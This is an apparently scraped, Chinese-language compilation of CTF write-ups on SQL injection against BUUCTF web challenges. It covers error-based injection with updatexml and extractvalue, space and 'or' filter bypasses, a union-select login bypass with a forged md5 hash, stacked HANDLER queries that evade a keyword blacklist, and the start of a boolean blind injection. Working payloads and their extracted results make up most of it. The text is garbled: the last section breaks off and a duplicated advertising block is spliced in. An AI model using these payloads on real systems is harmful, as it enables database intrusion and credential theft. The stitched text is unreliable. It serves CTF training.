2024年最新CTF Web SQL注入专项整理(持续更新中)

您所在的位置:网站首页 SQL注入获取数据库账号密码后的夺旗 2024年最新CTF Web SQL注入专项整理(持续更新中)

2024年最新CTF Web SQL注入专项整理(持续更新中)

2024-07-10 20:04| 来源: 网络整理| 查看: 265

image.png image.png

可以看到被拦截了 通过刚才的字典爆破,可以知道1’和or是没有被过滤的 那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin 1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like =

重新构造万能密码 1'or((1)like(1))# image.png image.png

可以看到绕过了空格限制 同时也登陆成功了 然后想到了之前做过很类似的一道题 SQL报错注入也用到了空格限制 (已经试了堆叠注入和联合注入都不行) 这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数 注入原理: (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!) (局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它 函数floor() mysql中用来取整的函数 函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入 爆库 1'or(updatexml(1,concat(0x7e,database(),0x7e),1))# image.png

得到库名geek

查表 1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))# image.png

得到数据表H4rDsq1

爆字段 1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# image.png

得到三个字段:id、username、password

查字段内容 1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))# image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制 1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))# image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag: flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制 这两种函数大同小异,不再赘述 当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以 大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))# image.png image.png 1'or(extractvalue(1,concat(0x7e,(select(database())))))# image.png image.png

好了大家已经明显看到了^和()绕过不同限制的区别 那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# image.png 1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))# image.png 1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))# image.png 使用right()突破字符限制 1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))# image.png 拼接得到最终flag: flag{389c9161-c2eb-403a-8062-80f219ca1c30} 原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞 【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境 image.png burp抓包

随便输入值

image.png repeater放包 image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式 通过测试发现是套加密(二次加密) 首先使用base32对此编码进行解码

base32解码 image.png c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码 image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断 可以得出此题的注入点是参数name

判断注入类型

1 123

image.png

1’ 123

image.png

发生报错 可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1 123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin 密码暂且还不知道

判断字段数

1’ union select 1,2# 123

image.png

1’ union select 1,2,3# 123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3# 123

image.png

1’ union select 1,‘admin’,3# 123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码 image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag; } else{ die("wrong pass!"); } }

发现参数password被md5加密 看着和之前做过的题很类似 大致就是传进去的值要进行md5值加密

换种方式猜测 username数据表里面的3个字段分别是flag、name、password。 猜测只有password字段位NULL 咱们给参数password传入的值是123 那么传进去后,后台就会把123进行md5值加密并存放到password字段当中 当我们使用查询语句的时候 我们pw参数的值会被md5值进行加密 然后再去与之前存入password中的md5值进行比较 如果相同就会输出flag

爆flag:

这里pw参数的值为123456 可以随便传 但是要对传入的那个值进行md5值加密 网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’# 123456

image.png 得出flag: flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法 【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境 image.png 判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png 查表

1’;show tables;

image.png

存在FlagHere数据表 极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段!

查words数据表的字段名

1’;show columns from words;

image.png

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的 后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易 猜测修改表名的命令极有可能被过滤了 后者题解非常详细可以看看下面这个链接(同时也包含handler解法!) https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

image.png

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject); 果不其然改表名的两个关键命令被过滤了 rename和alter 包括查询命令也被过滤了 select

通过handler命令获取flag

select这个查询命令大家都很熟悉 但是我们却忽略了一个也很重要的角色 那就是handler查询命令 虽然handler这个命令不常见 但是它也非常强大

handler命令查询规则

handler table_name open;handler table_name read first;handler table_name close;handler table_name open;handler table_name read next;handler table_name close;

如何理解?

首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

上传payload image.png image.png 得到flag: flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b} 原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

布尔盲注 【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

题目环境 image.png 判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false) 可知是字符型的布尔注入(盲注)

尝试万能密码

1’ or ‘1’=1

image.png

已检测SQL注入 猜测某些关键字或者字符被过滤

FUZZ字典爆破

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

1’ or ‘1’=1

image.png

已检测SQL注入 猜测某些关键字或者字符被过滤

FUZZ字典爆破

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-USrAtDc9-1715438614102)]

[外链图片转存中…(img-4PC9FfcO-1715438614103)]

[外链图片转存中…(img-JBg1z2kR-1715438614103)]

[外链图片转存中…(img-Tupge3aq-1715438614103)]

[外链图片转存中…(img-tjO8hMmy-1715438614103)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3